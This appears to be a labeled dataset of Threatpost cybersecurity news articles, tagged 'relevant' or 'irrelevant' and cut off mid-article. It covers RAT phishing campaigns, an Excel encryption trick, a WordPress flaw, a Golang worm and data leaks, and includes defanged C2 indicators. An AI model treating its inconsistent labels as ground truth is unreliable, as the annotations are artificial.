"U.S. Universities Hit With ‘Adult Dating’ Spear-Phishing Attack More than 150,000 emails spreading the Hupigon RAT that use adult dating as a lure have been uncovered, with almost half being sent to U.S. university and college email addresses. Several U.S. universities have been targeted in a widespread spear-phishing attack that uses adult dating as a lure. In reality, the emails spread the Hupigon remote access trojan (RAT), known to be leveraged by state-sponsored threat actors. Researchers from Proofpoint warned that the ongoing spear-phishing campaign has sent more than 150,000 messages to 60+ different industries – with almost half of the malicious emails focused on the education space, including several unnamed colleges and universities. The bulk of the messages (80,000 emails) were mostly sent between April 14 and 15. The emails use an adult dating lure, sending the victim two pictures of women and requesting the recipient to choose one to connect with by clicking the link under the picture. After the recipient clicks the link, an executable download begins (the file is named “sex_Live1.5.0.1099.exe”) that then installs the Hupigon RAT onto the system. The Hupigon RAT, which has been active since at least 2006, has various data exfiltration features and capabilities and has been previously utilized by advanced persistent threat (APT) actors. It gives attackers rootkit functionality, webcam monitoring capabilities, and the ability to log keystrokes and steal passwords. us university spear phishing attack“In this case, cybercriminals repurposed a nearly 15-year-old attack tool leveraged by state-sponsored threat actors, among others. We believe this campaign is crimeware-motivated,” said Proofpoint researchers, in an analysis last week. “Proofpoint associates Hupigon with historic APT campaigns based on the language of the builder, open-source breach reporting and multiple reports of similar APT actor behaviors between 2010 and 2012.” Other details remain scant about the campaign, other than the fact that the payload makes a DNS request to eth[.]ceo located at 142.54.162[.]66 for the initial command-and-control (C2) communication. Researchers also noted that the domain used for delivery, down.gogominer[.]com, is hosted on the same address space as the C2, 142.54.162[.]67. Threatpost has reached out to Proofpoint for more information about the campaign, including any evidence of whether APT groups are behind this particular attack. us university adult dating lure The attacks come as universities and colleges face unprecedented remote-work security issues, after having to send students home and set up courses online due to the coronavirus pandemic. Previously uncovered malware campaigns have targeted the healthcare and education industries, including one targeting a Canadian medical research university. Other schools have been hit by Zoom-bombing attacks, where attackers hijack online classes using the Zoom platform to spew hateful messages or videos. Universities were targeted even before the ongoing pandemic forced them to move coursework online: In September 2019, a massive campaign was uncovered involving at least 20 new phishing domains, targeting more than 60 universities in Australia, Canada, Hong Kong, Switzerland, the United Kingdom and the United States. The campaign, bent on lifting credentials from students heading back to school, was associated with a group of Iranian cyberattackers collectively known as Cobalt Dickens or Silent Librarian.",irrelevant
"8-Year-Old VelvetSweatshop Bug Resurrected in LimeRAT Campaign An old RAT learns an old trick. Researchers have discovered a fresh campaign using Excel files to spread LimeRAT malware – making use of the hardcoded, VelvetSweatshop default password for encrypted files. LimeRAT is a full-featured remote access tool/backdoor that can allow attackers to access an infected system and install a range of malware strains, like ransomware, cryptominers, keyloggers or botnet clients. In the observed campaign, threat actors are creating read-only Excel files containing a LimeRAT payload. Typically in malspam scenarios involving Excel files, the files are encrypted and the recipient would need to use a password to decrypt the file. That password is usually included by an attacker in the body of a socially engineered email. The new attack however, uses a different tack—it sends malicious, encrypted Excel files using “read-only” mode, according to Mimecast Threat Center’s Matthew Gardiner. “This campaign is notable because it shows off how cybercriminals are continuing to build on ‘old’ underlying techniques to deliver exploits, even ones that companies are well aware exist,” Gardiner told Threatpost. To decrypt any given encrypted Excel file, Excel first tries to use an embedded, default password, “VelvetSweatshop,” to decrypt and open the file and run any onboard macros or other potentially malicious code. At the same time, it keeps the file in read-only mode, the researcher explained, writing in a Tuesday blog post about the research. If Excel fails to decrypt the file using the “VelvestSweatshop” password, the app will request that the user insert a password. However, in read-only mode, this step is skipped, Gardiner said – and therein lies the new campaign’s threat. “The Microsoft Office system will not generate any warning dialogs other than noting the file is read-only,” he wrote in the post. “Using this read-only technique, the attacker can reap the obfuscation benefits of file encryption without requiring anything further from the user, taking away one step required of the intended victim for exploitation to occur.” This makes it even easier for unsuspecting victims to open them and spread malware. “This new research demonstrates that making an Excel file read-only — as opposed to locking it — encrypts the file without the need for an external created password to open it, making it easier to fool a victim into installing the malware,” wrote Gardiner. In the current campaign, Mimecast researchers also said that the cybercriminals used “a blend of other techniques in an attempt to fool anti-malware systems by encrypting the content of the spreadsheet hence hiding the exploit and payload,” Gardiner added. The hardcoded password is a well-known issue addressed in 2012 (CVE-2012-0158) that was also presented at Virus Bulletin in 2013. Mimecast said it has notified Microsoft that the vulnerability is once again being used. “The VelvetSweatshop technique has developed continuously to be leveraged as an underlying capability for attacks that can be more targeted and more sophisticated, thus making spear-phishing more successful,” Gardiner told Threatpost “There does not appear to be a change or fix from Microsoft in the works. In that case, in order to improve defenses against this method, organizations must use more sophisticated anti-malware technology to monitor traffic and train users to be more cyber-aware.” Microsoft Office applications like Excel files are a popular means for malware delivery due to their widespread use and recognizability, according to Mimecast. “Certainly, few are ever surprised to receive invoices or financial spreadsheet attachments via email,” Gardiner wrote. It’s unlikely that LimeRAT will be the only payload distributed using this tactic: “Of course, given the general capability inherent with this Excel-based malware delivery technique, any type of malware is a good candidate for delivery, so Mimecast researchers expect to see it used in many more malicious phishing campaigns in the future,” Gardiner observed. To avoid being the victim of such an attack, Mimecast recommended close scrutiny of all emails with files attached, as well as, on an administrative level, monitoring network traffic for outbound connections to likely command-and-control (C2) services. Also, continuously updating endpoint security systems to bolster detection of malware loading or running on the host also can mitigate attacks, Mimecast said. The danger is of course exacerbated by the work-from-home (WFH) phenomenon that’s emerged in the wake of the COVID-19 pandemic. “What’s old is new again, as is the case with this latest campaign leveraging the LimeRAT trojan embedded within Excel files,” Tal Zamir, CTO and co-founder at Hysolate, said in an emailed comment. “The challenge, however, is that many of us are now working from home; our guard may be down, we may be juggling everything from our jobs to teaching our kids from home, and trying to stay in touch with friends and family during these challenging times. Given this, it’s highly likely that we’re managing the majority of these communications – email, file sharing, web conferencing, etc. — all from the same laptop — which is no longer sitting behind our corporate firewalls, IDS/IPS, or other protections that would normally be in place when working from our corporate offices.”",relevant
"Verizon Media, PayPal, Twitter Top Bug-Bounty Rankings Verizon Media has paid nearly $10 million to ethical hackers via HackerOne’s platform. Bug-bounty programs have become a popular way for vendors to root out security flaws in their platforms, attracting talented white-hats with the promise of big rewards. According to HackerOne’s 2020 List of the Top 10 Bug Bounty Programs on its platform, Verizon Media, PayPal and Uber are in the elite group. “These top 10 programs are setting the standard for how transparency breeds trust in security in collaboration with a team of diverse hackers from across the globe,” HackerOne CTO and co-founder Alex Rice said in an emailed statement. “At HackerOne, Default to Disclosure is one of our values. And while this isn’t a mandate for our customers and hackers, it is something we encourage every customer to think about. By sharing where we’re vulnerable, other defenders can learn, friendly hackers can learn, and we’re all safer in the end.” Verizon Media tops the list with $9.4 million paid out since it started its program in 2014, with its top bounty coming in at $70,000. It saw surging success this year, with awards all the way up from $1.8 million in the life of its program. That’s only one of several notable changes from the 2019 rankings. Also new for 2020, PayPal outstripped Uber, taking on the No. 2 position and relegating the ride-share giant to third place. That said, PayPal follows as a distant second with Verizon Media in terms of bounty volume (though it’s had less time than Verizon Media to rack up payments). It has so far paid out $2.8 million with $30,000 as its top bounty, since it started a program with HackerOne in August 2018 (and $6 million in bounties overall since 2012). “@defparam and @ngalog have stood out to the PayPal security team for their detailed reports and collaborative spirit,” wrote PayPal’s information security engineer, Ray Duran, in a recent blog post. “The best submissions are simple; support claims with evidence, and demonstrate impact. Well-written reports help reduce back-and-forth conversations, allowing us to quickly move on to remediation steps and faster bounty payouts. We also greatly appreciate researchers who are willing to assist in retesting or who quickly respond to requests for more information as our investigation unfolds.” Uber as mentioned comes in third for 2020, with $2.4 million paid since December 2014. $50,000 ranks as its top reward on offer. Intel ($1.9 million paid since March 2017, no info on top bounty amount) and Twitter ($1.3 million paid since May 2014 with a top reward of $20,000) round out the top five. Also in the top 10 are GitLab, Mail.ru, GitHub, Valve and Airbnb. Notably, GitHub and Mail.ru are both new to the top 10 this year. And, GitLab leaped from No. 10 in 2019 to No. 6, hitting $1 million paid out in January. “There’s no denying that a million dollars in bounties paid is a big milestone for our program, but what makes this especially meaningful to us is that it clearly demonstrates GitLab’s commitment to building a strong and secure product,” said Ethan Strike, security manager at GitLab, in a recent outline of the company’s program. “GitLab’s engagement with the hacker community paid dividends not only in bug reports, but in attracting dedicated hackers who returned to help again and again.” “We’re proud that our journey to a million in paid bounties includes contributions from 768 reporters (since Jan 2014) including several of HackerOne’s all-time leading reporters,” added Strike. “We also have 227 repeat reporters.” The list was curated using public details available in the HackerOne directory of programs, with rankings based on the total amount of each organization’s cumulative bounties awarded to hackers over the life of their public program as of April 2020. “Hackers are attracted to programs that are responsive, pay well and pay quickly,” according to HackerOne’s list of top programs. “So the most popular programs are also, unsurprisingly, the ones listed here.”",irrelevant
"Walgreens Mobile App Leaks Prescription Data A security error in the Walgreens mobile app may have leaked customers’ full names, prescriptions and shipping addresses. Popular pharmacy chain Walgreens is warning that a bug in its official mobile app may have exposed sensitive data, including customers’ full names and information on prescriptions for medications they are taking. The security issue stemmed from an “error” in the personal secure messaging feature of Walgreens’ mobile app. The mobile messaging feature is a service for registered customers to receive SMS alerts for prescription refill notifications, deals and coupons. While Walgreens did not detail the technical glitch, it said that the internal application error enabled certain personal messages, stored in a database, to be viewed by other customers who were using the mobile app. “As part of our investigation, Walgreens determined that certain messages containing limited health-related information were involved in this incident for a small percentage of impacted customers,” according to a Walgreens data security incident customer notification, filed with the Office of the Attorney General and published Friday. “We believe that you were part of the impacted customer group and that one or more personal messages containing your limited health-related information may have been viewed by another customer on the Walgreens mobile app between January 9, 2020 and January 15, 2020.” That potentially exposed data includes first and last names of customers, their prescription numbers and drug names, store numbers that customers picked up prescriptions from, and shipping addresses. Walgreens said that financial information and Social Security numbers were not impacted. After the issue was discovered on Jan. 15, “Walgreens promptly took steps to disable the message viewing feature within the Walgreens mobile app to prevent further disclosure until a permanent correction was implemented to resolve the issue,” according to the notice. “Walgreens will conduct additional testing as appropriate for future changes to verify the change will not impact the privacy of customer data.” Fausto Oliveira, principal security architect at Acceptto, said the incident looks like a typical example of a lack of proper testing. “If the error conditions in the app had been properly tested, this type of issue should have been caught by the quality assurance department and never seen in production,” he told Threatpost. “It is unfortunate that often in the rush to go to market, shortcuts are taken and due-diligence testing is skipped in favor of meeting a release date. It also raises questions as to why wasn’t this information encrypted so that even if it was written to a database it would be unreadable and also how come individuals had access to a copy of the database? A proper design would have ensured that any records accessible on the mobile device would be encrypted using per user keys and that the device would only have access to the information that was relevant to the specific user.” Walgreens recommended that customers monitor their prescriptions and medical records. The company did not say how many customers were impacted, and how many actually accessed the exposed information (Threatpost has reached out for further comment). But the potential number of people impacted is vast based on Walgreens’ customer base . The company interacts with approximately 8 million customers in its stores and online each day, and filled 1.2 billion prescriptions on a 30-day adjusted basis in fiscal 2019, according to its website. And, the Walgreens mobile app on the Google Play app marketplace has more than 10 million downloads. The fact that prescriptions were leaked “is worrying,” said Oliveira, since it discloses health conditions that may be used for malicious attacks like blackmailing. A bad actor who got his hands on this data, for instance, could threaten to make employers aware of victims’ conditions that they may not want to reveal. “I think the offer from Walgreens to place the customers in several credit-card monitoring companies, is ineffective and does not help at all to address the concerns,” he told Threatpost. “If the information has been leaked, it is out there and credit-card monitoring companies cannot do anything to prevent the information from spreading. This is a situation where preventing this type of events from happening in the first place is the only cure.” It’s not the first time that Walgreens has dealt with a security issue. In 2013, the company was hit with a $1.4 million penalty for a data breach after a pharmacist in a Walgreens store in Indianapolis inappropriately viewed and shared a woman’s prescription history.",irrelevant
"WhatsApp Axes COVID-19 Mass Message Forwarding Amid rampant misinformation, users of the Facebook-owned messaging platform can no longer send coronavirus messages to more than one user at a time. In an effort to stem what it says is misinformation being spread on its platform, WhatsApp is limiting the number of recipients to which its users can forward certain messages about the COVID-19 pandemic. Now, users of the Facebook-owned messaging app can only forward messages with double arrows — i.e., those that did not originate from a close contact — to one person rather than multiple WhatsApp contacts, according to a company post published Tuesday. The idea is to stop messages that already have been forwarded a number of times from reaching even more users in rapid succession. By making it more difficult to pass them on, according to company officials, they hope to limit the spread of misinformation about the current global pandemic and crisis. Such misinformation has been running rampant on social media, the company said, adding that it wants to maintain WhatsApp as a platform for private messages. “We’ve seen a significant increase in the amount of forwarding, which users have told us can feel overwhelming and can contribute to the spread of misinformation,” according to the blog post. “We believe it’s important to slow the spread of these messages down to keep WhatsApp a place for personal conversation.” WhatsApp had already set limits two years ago on forwarded messages in order to “constrain virality,” the company said. The limit, which WhatsApp first tested in India, restricted message forwarding to five users and also removed a “quick forward” button that had accompanied media messages. As a result of this effort, the company said that it saw a 25 percent decrease in total message forwards globally, proving limits do stem the flow of information on WhatsApp, the company said. Indeed, the COVID-19 pandemic has created an unprecedented flood of information over social-media channels, particularly as people face mandatory social distancing and stay-at-home orders that cut them off from physical contact with family members and friends. Amid this booming use of social media, messaging services like WhatsApp have emerged as a key way for people to keep in touch, officials said. “With billions of people unable to see their friends and family in person due to COVID-19, people are relying on WhatsApp more than ever to communicate,” according to the post. “People are talking to doctors, teachers and isolated loved ones via WhatsApp during this crisis.” Social media also is being used as a conduit for people, including groups of WhatsApp users, to share COVID-19 related news stories, memes and other information regarding health, safety and even theories that differ from what mainstream media reports that question the origin of coronavirus and the lockdown governments have imposed. One popular alternative/conspiracy theory is that the global rollout of 5G networks is causing the coronavirus outbreak, which inspired some protesters over the weekend to set mobile-phone towers in the United Kingdom on fire. It’s still unclear if those towers, owned by Vodafone, EE and other carriers, were actually being used for 5G. To help prevent similar scenarios and ensure users get COVID-19 pandemic information from trusted sources, WhatsApp said from now on it will be “working directly with non-governmental organizations (NGOs) and governments, including the World Health Organization and over 20 national health ministries, to help connect people with accurate information,” according to the post. As part of this, WhatsApp also has launched a Coronavirus Information Hub to help people source data and check facts on coronavirus information they may see on social media, to help stymie misinformation campaigns, the company said. Other connection-oriented applications, including Facebook itself and Twitter, have also said they’re working to limit misinformation around COVID-19.",irrelevant
"The Windows 7 Postmortem: What’s at Stake Nearly a quarter of endpoints still run Windows 7, even though support and security patches have ended. In January 2020, Microsoft officially ended its extended support and discontinued patching of Windows 7. Despite the long lead time and repeated reminders, numbers since the COVID-19 pandemic have shown a slight uptick in Windows 7 deployments. The recent estimates show that more than 26 percent of endpoints were still running Windows 7 as of March, most likely due to organizations deploying older machines to support suddenly remote workers. If an organization of any size is still operating systems on Windows 7, the end of support means these devices are open to potential risks, exploits and vulnerabilities, but without any security patches or Microsoft Security Essentials antivirus definitions. Once software becomes unsupported, any vulnerability found in that software will always be present. As these vulnerabilities begin to stack up, the risk increases due to the overwhelming options an attacker has to exploit systems. There is also a reduced chance that vulnerabilities are disclosed due to the unlikelihood a vendor will do anything to remedy the issue. Organizations that hold back on upgrades are rolling the dice and will likely incur huge risk. In fact, a vast majority of threat actors continue to utilize known vulnerabilities to compromise low-hanging fruit. While the use of Windows XP has diminished over the years, when these machines are found on a network by an attacker, it immediately reveals a weakness in the attack surface. It is only a matter of time before Windows 7 discovery follows suit. We could also start seeing an increase in services-based attacks leveraging vulnerabilities in Remote Desktop Protocol (RDP), Server Message Block (SMB), and other areas where services run as Windows 7 support terminates. In fact, recently global manufacturers reliant on internet of things (IoT) devices were hit with a malware campaign that exploited weaknesses in Windows 7 directly tied to the Server Message Block (SMB) protocol. The risk will continue to grow as third-party software products also end support for the OS. There are also broader business advantages at risk outside of security. Organizations could miss out on important productivity gains that come with using supported software, reduced operational compatibility with partner software and the loss of interoperability with software within managed environments. Ultimately, failures in these areas could lead to a number of compliance issues with a much broader impact on the bottom line. So, what’s the holdup on migration? More often than not, it all comes down to disruption to operational workflow. On one hand, a small business may lack resources for a full upgrade, while a massive enterprise has a completely daunting task of migrating thousands and thousands of machines, while also having to overcome silos between security and business along the way. While organizations will never fully be protected from vulnerabilities found after end-of-life (EOL), there are steps to mitigate threats and minimize the damage actors can do as much as possible, while security and IT teams work towards a system upgrade. IT and security teams need to come together and establish an audit of services and hardware connected to the network, creating a full picture of every device, status, upgrading capability and other factors. Minimize your attack surface by keeping all third-party software updated. While the core OS will not be supported, updates to software such as Firefox and Chrome will still be distributed. Apply all available patches as soon as possible to close that window of attack and minimize the attack surface. Segment your vulnerable devices on the network as much as possible. This will help contain the threat and greatly aid in remediation. Disable services that are often taken advantage of by attackers, such as RDP and SMB on Windows 7 devices. While the above solutions may provide a temporary stopgap, it’s simply not worth the risk to avoid an upgrade. Given that the average time to weaponizing a new bug is seven days, IT and SecOps teams have 72 hours to harden systems before malicious players weaponize the exposed vulnerabilities. The use of Windows 7 after EOL without paid extended support leaves any organization at risk and unable to meet the 24/72 Mean Time to Hardening threshold. This increased risk increases the attack surface and leaves infrastructure vulnerable to attack. Ultimately, keeping the digital landscape up to date helps enterprises of all sizes be a smaller target from malicious threats.",irrelevant
"WordPress Plugin Flaw Allows Attackers to Forge Emails The high-severity flaw in the Email Subscribers & Newsletters plugin by Icegram affects more than 100,000 WordPress websites. More than 100,000 WordPress websites are affected by a high-severity flaw in a plugin that assists websites in sending out emails and newsletters to subscribers. The vulnerability exists in the Email Subscribers & Newsletters plugin by Icegram, which enables users to collect leads, send automated new blog post notification emails. A remote, unauthenticated attacker can exploit the flaw to send forged emails to all recipients from the available lists of contacts or subscribers – with complete control over the content and subject of the email. To fix the flaw, users must “upgrade to WordPress Email Subscribers & Newsletters plugin by Icegram version 4.5.6 or higher,” according to researchers at Tenable, who discovered the flaw, in an advisory on Thursday. Threatpost Webinar Promo Bug Bounty Click to Register The flaw (CVE-2020-5780 ) ranks 7.5 out of 10 on the CVSS scale, making it high severity. It affects versions 4.5.5 and earlier of the WordPress Email Subscribers & Newsletters plugin. The issue stems from an email forgery/spoofing vulnerability in the class-es-newsletters.php class. “Unauthenticated users are able to send an ajax request to the admin_init hook,” Alex Peña, research engineer at Tenable, told Threatpost. “This triggers a call to the process_broadcast_submission function.” By manipulating the request parameters, Peña said an attacker could then schedule a new broadcast to an entire list of contacts, due to a lack of an authentication mechanism in place. “An unauthenticated user should not be capable of creating a broadcast message,” he told Threatpost. In a real-life attack scenario, an unauthenticated, remote attacker could first send a specially crafted request to a vulnerable WordPress server. The request would then schedule a new newsletter to be sent to an entire list of contacts, where the scheduled time, contact list, subject and content of the email being broadcast can be arbitrarily set by the attacker. “This could be used to perform a phishing attack or scam, similar to the attack experienced by Twitter recently, where individuals of a particular organization’s mailing list are targeted,” Peña told Threatpost. “As the email would come from a trusted source, recipients are more likely to trust the communication and be convinced by its content.” Researchers notified the plugin of the issue on Aug. 26; a patch was issued earlier this week, on Tuesday. Threatpost has reached out to Icegram for further comment. Peña told Threatpost, researchers are not aware of the flaw being exploited in the wild to date. WordPress plugins have been found to be riddled with flaws over the past month. Earlier in August, a plugin that is designed to add quizzes and surveys to WordPress websites patched two critical vulnerabilities. The flaws could be exploited by remote, unauthenticated attackers to launch varying attacks – including fully taking over vulnerable websites. Also in August, Newsletter, a WordPress plugin with more than 300,000 installations, was discovered to have a pair of vulnerabilities that could lead to code-execution and even site takeover. And, researchers in July warned of a critical vulnerability in a WordPress plugin called Comments – wpDiscuz, which is installed on more than 70,000 websites. The flaw gave unauthenticated attackers the ability to upload arbitrary files (including PHP files) and ultimately execute remote code on vulnerable website servers.",relevant
"Working from Home: COVID-19’s Constellation of Security Challenges Organizations are sending employees and students home to work and learn — but implementing the plan opens the door to more attacks, IT headaches and brand-new security challenges. As the threat of coronavirus continues to spread, businesses are sending employees home to work remotely, and students are moving to online classes. But with the social distancing comes a new threat – a cyber-related one. As organizations rush to shift their businesses and classes online, cybercriminals are ramping up their tactics to take advantage of those who may have inadequate or naive security postures as a result. Given the challenges in securing work- and learn-from-home environments, the attack surface represents an attractive opportunity for threat actors. “Working from home or online education programs are not new. However, a large, immediate migration of people from enterprise and university networks that are closely monitored and secured, to largely unmonitored and often unsecure home Wi-Fi networks, creates a very large target of opportunity for cybercriminals,” Chris Hazelton, director of security solutions at Lookout, told Threatpost. “These users are outside the reach of perimeter-based security tools, and will likely have higher exposure to phishing and network attacks.” Attacks Ramp Up Researchers say that the first rash of efforts aimed at remote students and workers is likely to play on their fears and concerns about what sent them home to begin with – the coronavirus itself. The concern is more than theoretical. Already, attackers have been leveraging coronavirus-themed cyberattacks as panic around the global pandemic continues – including various malware attacks involving Emotet and other threats. An APT for instance was recently spotted spreading a custom and unique remote-access trojan (RAT) that takes screenshots, downloads files and more, in a COVID-19-themed campaign. And, the World Health Organization (WHO) has issued warnings about scammers pretending to be the organization. That activity is expected to expand along with the expanded attack surface, researchers said. “In general, attackers are looking for a vulnerability to deliver their attack,” Chris Rothe, chief product officer and co-founder of Red Canary, told Threatpost. “In this case, people’s fear over the virus is the vulnerability attackers will look to capitalize on. If an individual is concerned or stressed about the virus they are less likely to remember their security training and will be more likely to, for example, click a link in a phishing email or give their credentials to a malicious web site.” This forgetfulness when it comes to security can be especially true for those who are not used to working or learning at home: “People working from home get easily distracted, especially if they are normally used to working in the office, and they will mix work with personal email and web browsing,” Colin Bastable, CEO of security awareness training company Lucy Security, said in an email interview. “This increases the risks that they can introduce to their employers and colleagues, by clicking on malware links. So now is a great time to warn people to be ultra-cautious, hover over links and take your time.” Organizations may be distracted as well, leading to increased risk. For instance, Otterbein University in Columbus, Ohio, was hit with a ransomware attack in the past week, just as it was making preparations to switch to online classes. The situation forced the school to extend its spring break for another week as it dealt with the problem, since it was rendered incapable of delivering online education as planned. University officials told the local ABC station that it’s unclear what the attack’s infection vector was; and that they’re not sure when things will return to normal – both potential indicators of cybersecurity unpreparedness and IT resources stretched thin. Top Challenges in Remote Working A lack of IT resources can bite many organizations as they move to enable remote strategies. When workers and students are sent outside the normal perimeter, managing device sprawl, and patching and securing hundreds of thousands of endpoints, becomes a much a bigger challenge. “As a security team you lose control of the environment in which the user is working,” Red Canary’s Rothe said. “Have they secured their home Wi-Fi? If they’re using a personal computer, what mechanisms do you have to ensure that device isn’t compromised? Essentially, your network perimeter now includes all of your employees’ homes. Some security programs are ready for this, some aren’t.” In terms of those that aren’t ready, it’s important to remember that there’s a wide swath of companies that don’t normally enable telecommuting, warned Sumir Karayi, CEO and founder of 1E. “Government, legal, insurance, banking and healthcare are all great examples of industries that are not prepared for this massive influx of remote workers,” Karayi told Threatpost. “Many companies and organizations in these industries are working on legacy systems and are using software that is not patched. Not only does this mean remote work is a security concern, but it makes working a negative, unproductive experience for the employee.” The challenges are particularly notable for those working in regulated industries, he added, and those that use proprietary or specific software – such as stock traders or airline reservationists. “Regulated industries pose a significant challenge because they use systems, devices or people not yet approved for remote work,” he said. “Many companies must have secure environments and devices to meet regulations; it is not possible to secure and certify remote work because of security concerns and unauthorized people gaining access. Proprietary or specific software is usually also legacy software. It’s hard to patch and maintain, and rarely able to be accessed remotely.” Also complicating the picture: Many organizations, including many schools, have proprietary, on-premise software that will require special configurations in order to be made accessible remotely. “In a world of growing SaaS and cloud adoption this can be very seamless, but if your systems are all on an internal network the challenge is providing users a secure way to access those systems via a VPN or other networking solution,” Rothe noted. And, adding insult to injury, workers in regulated industries are often stuck with endpoints that have cumbersome security protocols – which ironically can add to the attack surface. “When they need help from IT, IT often does not have the right tools, so they have to try and take over the machine, which wastes a lot of time and is a security risk,” Karayi noted. There’s also of course the specter of an increased threat from the mobile sphere. “Students and workers remaining at home, or possibly stranded in a remote locations are going to be heavily dependent on their mobile devices,” Lookout’s Hazelton said. “Mobile attacks are particularly effective because they often trigger immediate responses from recipients – instant communication platforms like SMS, iMessage, WhatsApp, WeChat and others.” Best Practices for Remote Working and Learning Fortunately, companies and schools can plan for distance learning and working in order to meet some of these challenges. “The first step employers should take right now is to conduct a remote-work tabletop exercise with their key executives and line of business leaders,” said Rick Holland, CISO and vice president of strategy at Digital Shadows, speaking to Threatpost. “You need to inventory your business applications and identify the mission-critical ones. For SaaS applications, follow up with your providers and inquire about their business continuity plans. For on-premises applications that require VPN connectivity, test and validate that VPN connectivity for higher utilization than usual.” Making risk-assessments of remote workers’ computing setups is essential as well, he added. Questions to ask include how they will connect to the company’s systems, and from which devices. “The staff could connect from company-issued laptops or options like Citrix or Amazon Workspaces that enable staff to work from any device,” Holland said. “It might also be necessary to roll out new VoIP and increase web conferencing services licenses.” It’s also important to consider the issue of on-premises software, including costs. “You cannot replace legacy on-premises applications overnight, so increasing VPN capacity to accommodate more staff working remotely could be expensive,” Holland said. “One of the unintended consequences of COVID-19 will likely be increased zero trust adoption that further embraces cloud services, eliminates VPNs, and enables employees to work from anywhere.” And finally, given the social-engineering aspect of most attacks, user education is more important than ever. “So yes, make sure your employees and students are up-to-speed with the latest info on the coronavirus and that they know how to protect themselves and their families from the virus itself, as well as all the fraud artists following in its wake,” said Eric Howes, principal lab researcher at KnowBe4.",irrelevant
"Golang Worm Widens Scope to Windows, Adds Payload Capacity A first-stage malware loader spotted in active campaigns has added additional exploits and a new backdoor capability. A new version of a known malware campaign aimed at installing cryptominers has changed up its tactics, adding attacks on Windows servers and a new pool of exploits to its bag of tricks. It is also swiftly evolving to position itself as a backdoor for downloading future, more damaging malware, researchers said. The malware itself was first uncovered about a year ago, and is a loader that spreads as a worm, searching and infecting other vulnerable machines. Once it infects a machine, it fetches the XMRig cryptomining payload, which mines for Monero. According to an analysis from Barracuda Networks released Thursday, the heretofore unnamed loader, which it now calls “Golang,” originally targeted only Linux machines, but now has spread to Windows and other servers. “This new malware variant attacks web application frameworks, application servers and non-HTTP services such as Redis and MSSQL,” explained the researchers. They added, “While the volume is still low because the variant is so new, Barracuda researchers have seen only seven source IP addresses linked to this malware variant so far, and they are all based in China.” The bad code also uses various older vulnerability exploits in order to achieve the initial compromise of a targeted machine. The new version includes: CVE-2017-10271 for Oracle WebLogic; CVE-2015-1427 and CVE-2014-3120 for ElasticSearch; CVE-2018-7600 for Drupal, a.k.a. “Drupalgeddon 2.0“; and CVE-2018-20062 for the ThinkPHP framework. Other exploits that don’t have CVEs are also used to exploit Hadoop, Redis and MSSQL. In the latter two cases, the malware will first try to mount a dictionary/brute-forcing attack to find credentials, and, if successful, it will use a known method for achieving remote code-execution “by dumping the db file into cron path,” according to Barracuda. “Some of the exploits the malware includes are targeting the ThinkPHP web application framework, which is popular in China,” according to the report. “As in other families of malwares, it is safe to assume that this malware will keep evolving, employing more and more exploits.” A Golang Malware Notably, the malware is written in the Go language (Golang). Golang is a 10-year-old compiled programming language designed by Google. According to F5 Networks, which discovered the first iteration of the malware last summer, applications written in Go tend to be bulkier than others as the functions imported from other libraries are compiled in the binary itself. It also has a unique way of calling functions and storing symbols and data. “Although the language is about 10 years old, and is used by many legitimate programmers, there has not been as much activity with Golang malware,” according to F5. That said, in April, another wormable Golang loader known as Kinsing was spotted dropping XMRig onto Docker instances. Under the Hood Once the malware infects a machine, it downloads a set of files that are customized based on the platform it is attacking. One of those files positions the malware for doing more damage than simply installing a cryptominer. The file sets typically include the initial loader pacyload, an update script, a cryptominer and its configuration file, a watchdog, a scanner and a config file for the cryptominer, Barracuda noted. Out of these files, the watchdog makes sure that the scanner and miner are up and running and that all components are up to date. “If it fails to connect to the command-and-control server (C2), it will try to fetch the address of a new server by parsing transactions on a specific Ethereum account,” explained the researchers. The scanner file meanwhile is the malware’s worm propagation mechanism. It automatically scans the internet for vulnerable machines by generating random IP addresses and trying to attack the machines behind them. Once it infects a target, it reports back to the C2 about the success. For Windows machines, the malware also adds a backdoor user, researchers found – essentially just adding another user to the system. An init/update script accomplishes this on the Linux side, according to the analysis, by adding authorized SSH key to the system. “Although the malware includes components which constantly check for updates and help persist the attack, the installed backdoor user grants another level of control to the operators,” Erez Turjeman, senior software engineer and a security researcher for Barracuda Labs, told Theatpost. “This can be used for deploying additional attacks on the victim’s machine and network, beyond the scope of cryptomining.” He added, “The cryptomining component in this malware can be easily replaced by the operators into some other functionality, meaning that we might see other variants used for other purposes in the future.”",relevant
"ZLoader-Laced Emails Masquerade As CVs From Job-Seekers Researchers are warning of spear-phishing emails with CV lures that spread the ZLoader malware, which steals banking credentials from victims. Cybercriminals are taking advantage of the massive uptick in unemployment across the U.S. in a recent spear-phishing campaign, which purports to be CVs sent from job-seekers – but actually spreads banking credential-stealing malware. Researchers recently uncovered emails that distributed malicious files masquerading as resumes and CVs. The files, attached in Microsoft Excel format, were sent via email with subject lines such as: “applying for a job” or “regarding job.” As victims opened the attached files, they were asked to “enable content.” After enabling, victims were given the infamous ZLoader malware, which has previously been distributed via spear-phishing campaigns taking advantage of the coronavirus pandemic. ZLoader is a banking malware designed to steal credentials and other private information from users of targeted financial institutions. The malware can also steal passwords and cookies stored in victim’s web browsers. “With the stolen information in hand, the malware can allow threat actors to connect to the victim’s system and make illicit financial transactions from the banking user’s legitimate device,” said Check Point researchers, in a Thursday post. This campaign is only the latest targeting those who have lost jobs, particularly as unemployment rates are soaring across the U.S., with more than 40 million Americans filing for first-time unemployment benefits at the end of May. spear phishingOther campaigns were also discovered, including one that used medical-leave forms to deliver the IcedID malware. In this campaign, malicious documents were sent with names like “COVID -19 FLMA CENTER.doc” in emails with subjects such as “The following is a new Employee Request Form for leave within the Family and Medical Leave Act (FMLA).” The malware used redirection attacks that leveraged local proxies to redirect victims to malicious websites, as well as web-injection attacks that present fake content overlaid on the original pages. Either way, ultimately, the IcedID trojan was downloaded to steal victims’ financial data. Overall, researchers noted that they have seen new malicious domains popping up in conjunction with these unemployment numbers: “We previously reported that because of high unemployment rates, people became vulnerable to scams and phishing attacks involving relief package payments,” said researchers. “We found that in May, 250 new domains containing the word ’employment’ were registered. 7 percent of these domains were malicious and another 9 percent suspicious.” domain reg Campaigns are continually taking advantage of the unemployment surge in the U.S. A few weeks ago, infamous business email compromise (BEC) group called Scattered Canary (a highly-organized Nigerian cybergang) was discovered to have submitted hundreds of fraudulent claims with state-level U.S. unemployment websites and coronavirus relief funds. Researchers who tracked the fraudulent activity said cybercriminals may have made millions so far from the fraudulent activity. Since April 29, Scattered Canary has filed more than 200 fraudulent claims on the online unemployment websites of eight U.S. states; including at least 174 fraudulent claims with the state of Washington, for instance, 